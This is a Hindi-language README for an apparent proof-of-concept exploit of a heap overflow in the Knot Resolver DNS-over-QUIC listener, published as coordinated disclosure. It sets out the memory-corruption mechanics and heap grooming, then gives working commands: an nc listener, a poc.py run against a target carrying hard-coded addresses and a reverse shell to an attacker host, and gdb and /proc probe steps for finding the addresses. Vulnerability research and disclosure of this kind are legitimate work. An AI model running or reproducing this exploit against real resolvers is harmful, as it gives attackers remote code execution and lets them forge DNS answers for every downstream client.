
CVE-2026-66374: Knot Resolver 6.3.0 DNS-over-QUIC हीप ओवरफ्लो (RCE)
Knot Resolver के DNS-over-QUIC (DoQ) रिसीव पथ में दूरस्थ रूप से ट्रिगर होने वाले हीप बफर ओवरफ्लो के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो knot-resolver सेवा उपयोक्ता के रूप में रिमोट कोड निष्पादन देता है।
kresd DoQ लिसनर (daemon/quic_conn.c)6.3.0-cznic.1~bookworm पर मान्य)knot-resolver के रूप में कोड निष्पादन; न्यूनतम रूप से, रिमोट क्रैश / DoSसमन्वित प्रकटीकरण के भाग के रूप में विक्रेता फिक्स और सलाह के साथ प्रकाशित। केवल अधिकृत सुरक्षा अनुसंधान और रक्षात्मक सत्यापन के लिए।
पूर्ण रिमोट शोषण — शोषण हमलावर मशीन से DNS-over-QUIC के माध्यम से चलाया जाता है, और knot-resolver रिवर्स शेल nc पर पकड़ा जाता है (पूर्ण-रिज़ॉल्यूशन वीडियो के लिए क्लिक करें):
Knot Resolver CZ.NIC (.cz रजिस्ट्री) द्वारा विकसित एक ओपन-सोर्स कैशिंग DNS रिकर्सिव रिज़ॉल्वर है। यह क्लाइंटों — अंतिम-उपयोगकर्ता डिवाइस, ISP रिज़ॉल्वर फ्लीट, और सार्वजनिक रिज़ॉल्वर सेवाओं — की ओर से DNS क्वेरी हल करता है और उत्तर कैश करता है। यह DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) और DNS-over-QUIC (DoQ) सहित आधुनिक एन्क्रिप्टेड ट्रांसपोर्ट का समर्थन करता है, तथा DNSSEC सत्यापन और आक्रामक कैशिंग के साथ आता है।
यह बड़े ISP वातावरणों में लोकप्रिय है, जहाँ इसकी समृद्ध सुविधा-सेट (स्क्रिप्टेबल पॉलिसी, DNSSEC, एन्क्रिप्टेड ट्रांसपोर्ट, सूक्ष्म-दानेदार कैशिंग) और उच्च प्रदर्शन इसे बहुत बड़े सब्सक्राइबर आधारों की सेवा के लिए उपयुक्त बनाते हैं।
डेमॉन (kresd) एक दीर्घकालिक नेटवर्क सेवा है जो सीधे किसी भी ऐसे होस्ट से अविश्वसनीय इनपुट के संपर्क में है जो उसके सुनने वाले पोर्ट तक पहुँच सकता है। यह इसके पैकेट-रिसीव पथ में मेमोरी-भ्रष्टाचार बग — जैसा कि यहाँ शोषित किया गया है — को दूरस्थ रूप से सुलभ, बिना प्रमाणीकरण वाली हमले की सतह बना देता है: रिज़ॉल्वर से समझौता करने पर हमलावर हर डाउनस्ट्रीम क्लाइंट के लिए DNS उत्तर गढ़ सकता है, यानी उनका प्रभावी रूप से सारा ट्रैफ़िक पुनर्निर्देशित या इंटरसेप्ट कर सकता है।
kr_recv_stream_data_cb() DoQ STREAM फ्रेम्स को प्रति-कनेक्शन इनपुट बफर (pers_inbuf) में पुनः जोड़ता है। यह उस बफर को इस प्रकार बढ़ाता है:
pers_inbuf.size += datalen; /* bug: accumulates, never re-baselines */
नए कुल आकार को सेट करने के बजाय। कई फ्रेम्स में ट्रैक किया गया size वास्तविक आवंटन से ऊपर विचलित हो जाता है। इसलिए एक अंतिम फ्रेम जिसका datalen बढ़े हुए size के अंतर्गत आता है, पुनः आवंटन को छोड़ देता है, फिर भी उसके बाद का memcpy() उसी बढ़े हुए आकार से सीमित होता है — इसलिए यह ऑब्जेक्ट के अंत से आगे लिखता है। jemalloc ऑब्जेक्ट को उसकी वास्तविक आकार श्रेणी में पिन रखता है, इसलिए अतिरिक्त बाइट्स निकटवर्ती स्लैब स्लॉट में पहुँच जाती हैं।
एक स्ट्रीम पर छह-फ्रेम अनुक्रम pers_inbuf को पाँच jemalloc आकार श्रेणियों से होते हुए 6144-बाइट श्रेणी में ले जाता है और फिर पड़ोसी स्लॉट में ओवरफ्लो करता है:
F1 datalen=8 initial 1200-byte allocation
F2 datalen=1440 realloc -> 1536-class
F3 datalen=1440 realloc -> 3072-class
F4 datalen=1440 realloc -> 5120-class
F5 datalen=1440 realloc -> 6144-class
F6 datalen=1200, FIN no realloc -> 814-byte OOB write into slot+1
हल्का कनेक्शन ग्रूमिंग (कई DoQ कनेक्शन खोलना, फायर करने से ठीक पहले आधे मुक्त करना) यह सुनिश्चित करता है कि slot+1 में libgnutls क्लीनअप हैंडलर हो। ओवरफ्लो उस हैंडलर के डिस्पैच पॉइंटर, उसके तर्क, और डिस्पैच को गेट करने वाले फ्लैग को अधिलेखित कर देता है। कनेक्शन टियरडाउन के दौरान libgnutls निष्पादित करता है
call *0x110(%rbx) ; %rbx = attacker-controlled slot+1
जिससे निर्देश पॉइंटर (RIP) और पहले तर्क (RDI) पर नियंत्रण मिलता है। PoC इसे उसी स्लॉट में लिखे हमलावर-आपूर्ति कमांड स्ट्रिंग के पॉइंटर के साथ system() की ओर मोड़ देता है।
यह PoC ASLR अक्षम वाले होस्ट को लक्षित करता है (kernel.randomize_va_space = 0)। रैंडमाइज़ेशन बंद होने पर हीप और libc पते नियतात्मक होते हैं, इसलिए शोषण के लिए आवश्यक दो पते (slot+1 और system()) किसी दिए गए बिल्ड के लिए स्थिरांक होते हैं। ASLR को पराजित करना एक अलग समस्या है और यहाँ जानबूझकर दायरे से बाहर है — लक्ष्य मेमोरी-भ्रष्टाचार → नियंत्रण-प्रवाह → कोड-निष्पादन प्रिमिटिव को अलगाव में प्रदर्शित करना है।
चूँकि ये पते नियतात्मक हैं, किसी सूचना लीक की आवश्यकता नहीं है: शोषण पूरी तरह नेटवर्क पर दूरस्थ होस्ट से चलता है। किसी भी समान बिल्ड पर probe चरण (नीचे) से पते एक बार प्राप्त किए जाते हैं और फिर हार्ड-कोडेड किए जाते हैं; संदर्भ बिल्ड पर वे slot+1 = 0x7ffff66c5000 और system = 0x7ffff746a490 हैं।
| File |
|---|
आवश्यकता: हमलावर पक्ष पर Python 3 के साथ aioquic और netcat, तथा केवल एक-बार के probe चरण के लिए लक्ष्य पर gdb।
यह मुख्य प्रदर्शन है: शोषण हमलावर मशीन से, नेटवर्क के माध्यम से चलाया जाता है, जिसमें दो नियतात्मक पते हार्ड-कोडेड होते हैं। लक्ष्य से कुछ भी नहीं पढ़ा जाता — न /proc, न gdb, न लॉग।
# On the attacker box: listen for the shell
$ nc -lvnp 4444 # Linux; on macOS/BSD: nc -l 4444
# In another terminal: fire the exploit at the target's DoQ port
$ python3 poc.py exec \
--host <target> --port 8853 \
--slot1 0x7ffff66c5000 \
--system 0x7ffff746a490 \
--lhost <attacker-ip> --lport 4444 \
--rounds 250
जो भी राउंड सफल होता है वह लक्ष्य पर रिवर्स-शेल कमांड के साथ system() को कॉल करता है; शेल वापस --lhost:--lport से जुड़ता है, जहाँ nc इसे प्राप्त करता है। जब यह आ जाए, तो शेल चलाने के लिए netcat सत्र में टाइप करें:
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64
--slot1 / --system मान किसी भी समान बिल्ड पर probe चरण के साथ एक बार प्राप्त किए जाते हैं; ASLR बंद रहने पर वे स्थिरांक होते हैं।
ऊपर दिए गए --slot1 / --system मान ASLR बंद रहने पर स्थिरांक होते हैं; किसी भी समान बिल्ड पर उन्हें एक बार प्राप्त करें। पूर्वापेक्षा:
$ sudo sysctl -w kernel.randomize_va_space=0
# slot+1 : gdb oracle reads the deterministic pers_inbuf, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800 slot1=0x7ffff66c5000
# system : libc base (ASLR off) + system() offset
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))
poc.py rip --rounds 8 इसके अतिरिक्त कच्चे RIP/RDI नियंत्रण को प्रदर्शित करता है (लक्ष्य हमलावर-चुने गए निर्देश पॉइंटर पर क्रैश होता है)।
संदर्भ बिल्ड (Debian 12, 6.3.0-cznic.1, ASLR बंद) पर मापा गया:
| प्रिमिटिव | दर |
|---|---|
RIP/RDI नियंत्रण (rip, क्रैश) | ~7/8 प्रति राउंड |
पूर्ण system() निष्पादन (exec) | ~1 में 30–50 राउंड |
यह अंतर अंतर्निहित है: system() उस हीप पर चलता है जिसे ओवरफ्लो ने अभी-अभी भ्रष्ट किया है, इसलिए अधिकांश डिस्पैच चाइल्ड स्पॉन होने से पहले kresd को क्रैश कर देते हैं। प्रत्येक क्रैश के बाद डेमॉन को उसके सुपरवाइज़र द्वारा पुनः स्पॉन किया जाता है, ASLR बंद होने पर पता नियतात्मक होता है, और प्रत्येक प्रयास स्वतंत्र होता है — इसलिए exec लूप तब तक पुनः प्रयास करता है जब तक एक सफल नहीं हो जाता (ऊपर के रिमोट रन में, राउंड 5 पर शेल आया)। असफल प्रयास एक क्षणिक वर्कर क्रैश (DoS) है। ग्रूमिंग पैरामीटर --groom 16 --close 8 --qpc 4 अनुभवजन्य रूप से सर्वोत्तम डिफ़ॉल्ट हैं; अधिक भारी क्लोज़िंग (जैसे --groom 32 पर --close 16) हिट दर को गिरा देती है।
OS Debian 12 (bookworm), glibc 2.36
kresd knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config DoQ listener on 127.0.0.1@8853
आकार-श्रेणी ज्यामिति (छह फ्रेम, 1200/1440-बाइट पेलोड) और libgnutls डिस्पैच ऑफसेट इस विशेष बिल्ड के लिए हैं; अन्य बिल्ड के लिए फ्रेम आकार और ऑफसेट पुनः व्युत्पन्न करने होंगे।
| दिनांक | घटना |
|---|---|
| 2026-06-08 | भेद्यता विक्रेता (CZ.NIC) को सूचित की गई। |
| 2026-07-22 | विक्रेता सलाह के साथ Knot Resolver 6.4.1 में फिक्स जारी किया गया। |
| 2026-07-23 | यह PoC और विवरण प्रकाशित किए गए। |
2026-06-08 को विक्रेता को सूचित किया गया और आधिकारिक फिक्स (6.4.1, 2026-07-22) के समन्वय में जारी किया गया। अधिकृत परीक्षण, रक्षात्मक सत्यापन और अनुसंधान के लिए प्रदान किया गया। इसे उन प्रणालियों के विरुद्ध न चलाएँ जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आप स्पष्ट रूप से अधिकृत नहीं हैं।
SPDX-License-Identifier: MIT
| उद्देश्य |
|---|
poc.py | शोषण। मोड: probe, rip, exec. |
probe.gdb | gdb ओरेकल जो नियतात्मक pers_inbuf पढ़ता है। |
README.md | यह दस्तावेज़। |